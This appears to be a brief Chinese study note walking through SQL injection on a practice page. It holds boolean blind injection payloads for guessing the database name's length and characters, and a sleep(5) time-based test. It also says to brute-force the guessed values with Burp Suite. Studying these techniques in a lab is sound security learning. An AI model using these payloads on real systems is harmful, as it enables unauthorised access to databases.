1、尝试 1′ and ‘1’=’1 –+ 和 1′ and ‘1’=’2 –+ 返回不同页面
2、当其报错时,没有回显,无法使用报错注入;在使用order by 和 union select之后发现没有回显,故也无法使用联合注入。所以考虑盲注。先试试布尔盲注呢
3、布尔盲注-猜解数据库名
– 先猜数据库名长度再逐字猜数据库名
– 猜数据库名长度—1′ and length(database())=1 将length=1的1作为变量用burpsuite进行爆破
– 逐字猜解数据库名— 1′ and ascii(substr(database(),1,1))=97 #
说明其数据库长度为8.
再来猜他的第一个字符。1′ and ascii(substr(database(),1,1))=97,将97作为变量进行爆破
第一个字符的ASCII码是115,查ASCII码表可得对应的字符为’s’ 。
然后使用 1′ and ascii(substr(database(),2,1))=97进行爆破,注意这里是 database(),2,1—截取第二个字符。
同样的查表可得数据库名的第二个字符为’e’
其后的步骤略去不提,都是一样的,可查看之前的笔记 mysql-4 布尔盲注。
4、试试时间盲注呢。– 1′ and sleep(5) –+
在network那里可以明显的看到一个pending过程。
后续步骤不提,具体命令参考之前笔记 mysql-5 时间盲注